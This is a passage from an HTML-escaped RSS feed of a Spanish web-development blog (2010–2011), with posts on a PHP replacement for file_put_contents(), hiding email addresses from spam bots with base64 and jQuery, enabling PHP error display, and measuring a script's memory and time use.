/&gt;&lt;b style='color:#888!important;'&gt;45&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Podéis descargarlo aquí: &lt;a href="http://imasdeweb.com/opensource/highlightingcode.tar.gz"&gt;highlightingcode.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Inconveniente: solamente colorea la sintaxis de PHP. Para los otros lenguajes (HTML, CSS, javascript, etc...) al menos añade los números de línea y conserva la tabulación, lo cuál es una gran ayuda, no?&lt;br /&gt;&lt;br /&gt;La verdad, a mí, ya me es más que suficiente. Sería ideal que también coloreara otros lenguajes. En este sentido existe una librería gratuita muy interesante, pero ya se hace bastante más complicado usarla: &lt;a href="http://alexgorbatchev.com/SyntaxHighlighter/"&gt;SyntaxHighlighter&lt;/a&gt;.</description><link>http://crear-paginas-web.blogspot.com/2011/04/formatear-codigo-para-publicar-en-blog.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-5434819886173305934</guid><pubDate>Wed, 30 Mar 2011 02:32:00 +0000</pubDate><atom:updated>2011-03-30T11:10:21.722-07:00</atom:updated><title>Error: Call to undefined function: file_put_contents()</title><description>Si tu navegador te muestra ese error es que probablemente tienes una versión obsoleta de PHP instalada en tu servidor. Porque la función &lt;span style="font-weight: bold;"&gt;file_put_contents()&lt;/span&gt; apareció a partir de PHP5. Puedes verlo en la doc. oficial de la misma:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://php.net/manual/en/function.file-put-contents.php" target="blank"&gt;http://php.net/manual/en/function.file-put-contents.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tienes 2 soluciones:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;actualizar tu servidor... lo cuál es más que recomendable, porque cada vez irás teniendo más problemas de este tipo si no lo haces, a parte que es muy pero que muy recomendable por seguridad! a día de hoy (Marzo de 2011) está por salir PHP6 pronto...&lt;/li&gt;&lt;br /&gt;&lt;li&gt;construirte una función a medida que haga lo mismo que se supone que hace &lt;span style="font-weight: bold;"&gt;file_put_contents()&lt;/span&gt;.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Voy a ayudarte a ello, porque es bien simple: básicamente intenta escribir en un archivo (existente o no) un contenido tipo string.&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;function&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;file_put_contents&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$path_file&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$content&lt;/span&gt;&lt;span style="color: #007700"&gt;){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;intentamos&amp;nbsp;cambiar&amp;nbsp;los&amp;nbsp;permisos&amp;nbsp;del&amp;nbsp;archivo&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;@&lt;/span&gt;&lt;span style="color: #0000BB"&gt;chmod&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$path_file&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;0755&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;abrimos&amp;nbsp;el&amp;nbsp;archivo&amp;nbsp;en&amp;nbsp;modo&amp;nbsp;escritura&amp;nbsp;al&amp;nbsp;inicio&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$fp&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;fopen&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$path_file&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"w"&lt;/span&gt;&lt;span style="color: #007700"&gt;);&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;escribimos&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;fwrite&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$fp&lt;/span&gt;&lt;span style="color: #007700"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$content&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;cerramos&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;fclose&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$fp&lt;/span&gt;&lt;span style="color: #007700"&gt;);&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;14&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;        &lt;br /&gt;&lt;br /&gt;Espero que te haya sido útil. Recuerda solamente que una vez que cambies a PHP 5 tendrás que eliminar esta función, si no lo haces te dará error.&lt;br /&gt;&lt;br /&gt;Saludos!&lt;br /&gt;SERGI</description><link>http://crear-paginas-web.blogspot.com/2011/03/error-call-to-undefined-function.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>4</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-6563142713430686457</guid><pubDate>Wed, 23 Feb 2011 23:22:00 +0000</pubDate><atom:updated>2011-04-08T12:24:12.980-07:00</atom:updated><title>Esconder direcciones de email a los spammers usando base64</title><description>&lt;span style="color: rgb(0, 102, 0);"&gt;De todos es conocido que no es muy recomendable dejar a la vista direcciones de correo electrónico porque los robots usados por los "spammers" los chupan inmediatamente. Voy a compartir aquí un método nuevo (y creo que sencillo de implementar) a todos los que ya hay, usando codificación en base64.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Supongamos que el HTML que nosotros queremos renderizar es:&lt;br /&gt;&lt;br /&gt;&lt;div style='color:#00c;background-color:#ddd;border:1px #888; solid;padding:11px;'&gt;&amp;lt;p&amp;gt;correo: mi@correo.com&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;entonces, para este caso, pondremos:&lt;br /&gt;&lt;br /&gt;&lt;div style='color:#00c;background-color:#ddd;border:1px #888; solid;padding:11px;'&gt;&amp;lt;p&amp;gt;correo: &amp;lt;span class='e64'&amp;gt;bWlAY29ycmVvLmNvbQ==&amp;lt;/span&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;en dónde "&lt;b&gt;bWlAY29ycmVvLmNvbQ==&lt;/b&gt;" es la codificación en base64 de la dirección "&lt;b&gt;mi@correo.com&lt;/b&gt;". Por de pronto, en esta línea de HTML los robots ya no encuentran una arroba ni nada que se le parezca! &lt;br /&gt;&lt;br /&gt;Para conseguir renderizar eso con PHP sería con algo como:&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;p&amp;gt;correo:&amp;nbsp;&amp;lt;span&amp;nbsp;class='e64'&amp;gt;"&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;base64_encode&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"mi@correo.com"&lt;/span&gt;&lt;span style="color: #007700"&gt;)&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Lo que nos toca hacer ahora es usar algo de javascript para que en cuanto se cargue la página el navegador sustituya el contenido de este spam por el valor decodificado. Para ello, necesitaremos echar mano de alguna función decodificadora de base64 para javascript. Lo que yo suelo hacer en estos casos es buscar en el proyecto &lt;b&gt;PHP.js&lt;/b&gt; que es una librería abierta de funciones de PHP pasadas a javascript, genial, verdad!? En nuestro caso esta es la función que nos decodificará el base64:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://phpjs.org/functions/base64_decode:357" target='_blank'&gt;http://phpjs.org/functions/&lt;b&gt;base64_decode&lt;/b&gt;:357&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Así que hazlo como quieras, pero añádele al javascript de tu página esta función. También necesitarás añadir esta otra función que es usada por la anterior:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://phpjs.org/functions/utf8_decode:576" target='_blank'&gt;http://phpjs.org/functions/&lt;b&gt;utf8_decode&lt;/b&gt;:576&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Por último, añade también el siguiente código que usa jQuery:&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(document).ready(function(){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$("span[class^='e64']").attr('class',&amp;nbsp;function(){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(this).html(base64_decode($(this).html()));&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Usando jQuery la cosa se simplifica al máximo, pero en fin, puedes hacerlo sin necesidad de jQuery, usando otros frameworks u otro javscript "a pelo".&lt;br /&gt;&lt;br /&gt;Lo que hace este jQuery es indicar que una vez cargada la página ("document ready") busque TODOS los span cuya clase comience con "e64" y les reemplaze el html que contienen por el mismo html decodificado.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Consideraciones finales&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Ya puedes imaginar que las variaciones posibles son muchas: llámale como quieras a tu clase, no hace falta que sea un span, etc... eso ya depende de tu creatividad y tus necesidades. Pero creo que esta técnica puede dar mucho de sí. De hecho, la hallé hoy implementada en un website pero no para ocultar emails sino para otra cosa que ni siquiera entendí la razón, jejeje...&lt;br /&gt;&lt;br /&gt;Se agradecerá que si le das un uso diferente lo compartas con un comentario ;) así podemos sacarle todos provecho.&lt;br /&gt;&lt;br /&gt;En cuanto a la &lt;b&gt;efectividad para ocultar emails&lt;/b&gt;... bueno, creo que es "suficiente" si tu web no tiene atractivo suficiente como para querer ser "atacada" de manera directa. Es decir, suponiendo que nuestras webs son periódicamente visitadas por robots buscando arrobas, con este método conseguiremos esquivarles. Pero, si tienes una web que quiere ser escaneada (no sé, por ejemplo que tuviéras un buen directorio de profesionales de la medicina con sus emails públicos), entonces rápidamente se te vería el plumero y cualquier hacker se saltaría tu codificación en base64 en menos de 3 minutos ;)&lt;br /&gt;&lt;br /&gt;En este sentido, si tienes alguna idea para sofisticar más el código de tal manera que realmente los emails queden ocultos sí o sí... se agradecería un comentario. Claro, en la línea de hacerlo con javascript o algo parecido, es decir, usando tecnología de cliente, no de servidor... aunque no sé si eso será posible.</description><link>http://crear-paginas-web.blogspot.com/2011/02/esconder-direcciones-de-email-los.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-6176781530889044553</guid><pubDate>Wed, 02 Feb 2011 23:42:00 +0000</pubDate><atom:updated>2011-02-02T16:55:48.274-07:00</atom:updated><title>Activar errores de PHP por navegador sin tocar el PHP.ini</title><description>&lt;span style="color: rgb(0, 153, 0);"&gt;Posiblemente hayas llegado a este artículo desesperado porque la configuración de tu cuenta de hosting tiene desactivado el "displaying" de errores por navegador. En realidad es una opción interesante para aumentar la seguridad de nuestra aplicación PHP, pero hace casi imposible el debugeo cuando estamos en la fase de desarrollo.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La solución más "permanente" es modificar el archivo php.ini de configuración de PHP para descomentar el comando:&lt;br /&gt;&lt;br /&gt;&lt;div style="background-color: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 15px;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;display_errors = On&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Pero una solución más temporal es simplemente usar estos comandos:&lt;br /&gt;&lt;br /&gt;&lt;div style="background-color: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 15px;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;ini_set&lt;/span&gt;("&lt;span style="color: rgb(0, 153, 0);"&gt;display_errors&lt;/span&gt;", &lt;span style="color: rgb(0, 153, 0);"&gt;1&lt;/span&gt;);&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;error_reporting&lt;/span&gt;(&lt;span style="color: rgb(0, 153, 0);"&gt;E_ERROR&lt;/span&gt; | &lt;span style="color: rgb(0, 153, 0);"&gt;E_WARNING&lt;/span&gt; | &lt;span style="color: rgb(0, 153, 0);"&gt;E_PARSE&lt;/span&gt;);&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Cuidado, porqué me ha costado saberlos usar:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;has de insertarlos al inicio del &lt;span style="font-weight: bold;"&gt;PRIMER&lt;/span&gt; archivo de tu aplicación y que &lt;span style="font-weight: bold;"&gt;ESTÉ LIBRE DE ERRORES DE SINTAXIS&lt;/span&gt;. Esto es muy importante, es decir, estos comandos no serán tenidos en cuenta si los pones en el archivo que tiene errores de sintaxis (que son los más habituales).  &lt;/li&gt;&lt;li&gt;los colocas en las primeras líneas del archivo PHP, obviamente, después de &lt;span style="font-weight: bold;"&gt;&amp;lt; ?  p h p&lt;/span&gt;&lt;/li&gt;&lt;li&gt;puedes jugar con los argumentos de ambos comandos, pero los que te puse arriba son los que yo acostumbro a ver en las configuraciones por defecto de los servidores de PHP.&lt;/li&gt;&lt;/ul&gt;Estoy seguro de que a alguno esto le ayudará ;)&lt;br /&gt;Un saludote!&lt;br /&gt;SERGI</description><link>http://crear-paginas-web.blogspot.com/2011/02/activar-errores-de-php-por-navegador.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-5352949703453847013</guid><pubDate>Mon, 29 Nov 2010 03:35:00 +0000</pubDate><atom:updated>2011-04-07T18:01:20.716-07:00</atom:updated><title>Medir consumo de RAM y tiempo para evaluar el rendimiento de tu script PHP/MySQL</title><description>&lt;div style='color:#0a0;'&gt;¿Andas con la duda de si tu script de PHP o tus consultas a la base de datos MySQL necesitan una optimización para ganar tiempo de respuesta y ahorrar consumo de memoria? ¿Has recibido ya los primeros errores del tipo "Fatal error: Out of memory (allocated 3145728) (tried to allocate 491520 bytes) in /home/..."? Eso es que necesitas mejorar o bien la construcción/sintaxis de tus consultas a la base de datos, y/o gestionar mejor los bucles, las variables, los arrays y en general el uso de la memoria.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Más adelante prometo escribir algún consejo al respecto de la optimización, pero ahora empezaré por centrarme en cómo podemos comparar el antes y el después ;) Es decir, convendría que probases diversos modos de hacer tus consultas y gestionar las mismas, usando mientras lo haces algún tipo de medición de tiempo y de consumo de RAM, para después comparar los datos y saber cuál de los caminos que has construido es el más eficaz!!&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Medir el consumo de memoria RAM en PHP&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;Hay dos funciones, pero para la intención que tenemos de optimización nos viene mejor ésta: memory_get_peak_usage(), que mide el máximo de memoria RAM que hemos hecho "hasta el momento". la usaremos así de sencillamente:&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;$memo_ini&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;memory_get_peak_usage&lt;/span&gt;&lt;span style="color: #007700"&gt;();&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;mi_funcion&lt;/span&gt;&lt;span style="color: #007700"&gt;();&amp;nbsp;&lt;/span&gt;&lt;span style="color: #FF8000"&gt;//&amp;nbsp;se&amp;nbsp;supone&amp;nbsp;que&amp;nbsp;esto&amp;nbsp;es&amp;nbsp;lo&amp;nbsp;que&amp;nbsp;consume&amp;nbsp;muchos&amp;nbsp;recursos&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$memo_fin&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;memory_get_peak_usage&lt;/span&gt;&lt;span style="color: #007700"&gt;();&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"Usados&amp;nbsp;un&amp;nbsp;máximo&amp;nbsp;de:&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;round&lt;/span&gt;&lt;span style="color: #007700"&gt;((&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$memo_fin&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$memo_ini&lt;/span&gt;&lt;span style="color: #007700"&gt;)/(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;1024&lt;/span&gt;&lt;span style="color: #007700"&gt;*&lt;/span&gt;&lt;span style="color: #0000BB"&gt;1024&lt;/span&gt;&lt;span style="color: #007700"&gt;),&lt;/span&gt;&lt;span style="color: #0000BB"&gt;2&lt;/span&gt;&lt;span style="color: #007700"&gt;).&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"Mb"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;       &lt;br /&gt;&lt;br /&gt;En la &lt;b&gt;$memo_ini&lt;/b&gt; y en &lt;b&gt;$memo_fin&lt;/b&gt; almacenamos el uso máximo de RAM por nuestro "thread" (hilo?) PHP, con lo cuál haciendo la resta de ambos valores obtendremos la cantidad de memoria máxima añadida por la función "mi_funcion". El resultado lo obtenemos en bytes, por lo que lo pasamos a Mb dividiendo por (1024*1024) y lo pasamos a dos decimales (más que suficiente, aunque puedes darle más si necesitas más precisión).&lt;br /&gt;&lt;br /&gt;Ten en cuenta que &lt;b&gt;memory_get_peak_usage()&lt;/b&gt; devuelve el &lt;u&gt;MÁXIMO de RAM&lt;/u&gt; consumida hasta el momento. Así que puedes imaginarte que si intentas medir consumos pequeños de RAM puede que te salga cero!! ¿Porque?&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Pongamos un ejemplo. Cuando calculas el $time_ini has tenido un consumo máximo de 4Mb, sin embargo, tal vez ya descargarte parte de ese espacio espacio que ocupaste, por ejemplo con la función nativa unset(), y por tanto ahora mismo en RAM ocupas solo 2Mb. Así pues, si cuando llamas a "mi_funcion()", ésta consume por ejemplo 1Mb de RAM, entonces tu consumo en ese momento será de 2Mb+1Mb=3Mb... que es inferior a 4Mb. Así pues, cuando llames por segunda vez a la función memory_get_peak_usage() para calcular $memo_fin, te seguirá devolviendo el valor 4Mb !!! &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Tal vez entonces te preguntes qué utilidad tiene y si no hay otra alternativa. Bueno, en cuanto a lo primero, claro que nos es útil! pues loq ue intentamos medir son "puntas" de consumo de RAM excesivas. Y en cuanto a lo segundo, claro que hay otra alternativa: la función que cité pero no mencioné arriba al inicio del artículo: &lt;b&gt;memory_get_usage()&lt;/b&gt;. &lt;br /&gt;&lt;br /&gt;&lt;i&gt;Esta segunda función mide EXACTAMENTE la memoria RAM ocupada en el momento que la llamas&lt;/i&gt;. Pero según cómo es más incómoda de usar. Te pondré un simple ejemplo: imagina que quieres medir el consumo de RAM del ejemplo que he puesto arriba, pero supon que "mi_funcion()" en realidad es un script de terceros al que no tenemos mucho acceso o simplemente no queremos gastar nuestro tiempo en analizar por dentro. Y supongamos además, que el script está medianamente bien hecho y se encarga de eliminar de la RAM cada una de las variables que va ocupando en sus cálculos.... así pues no podríamos saber cuánta memoria como máximo llega a usar, porque esta segunda función (memory_get_usage) posiblemente nos devolvería prácticamente la misma cantidad de memoria antes y después de llamar a "mi_funcion()". ¿Si me entiendes?&lt;br /&gt;&lt;br /&gt;Conclusión... cada una de las dos funciones pueden ser útiles en según qué contextos, pero en general, creo que la primera nos será más cómoda a la par que suficiente.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Medir el consumo de tiempo de procesamiento&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;Bueno, este aspecto es mucho más sencillo. Mejor poner un ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;$time_ini&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;_microtime&lt;/span&gt;&lt;span style="color: #007700"&gt;();&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;mi_funcion&lt;/span&gt;&lt;span style="color: #007700"&gt;();&amp;nbsp;&lt;/span&gt;&lt;span style="color: 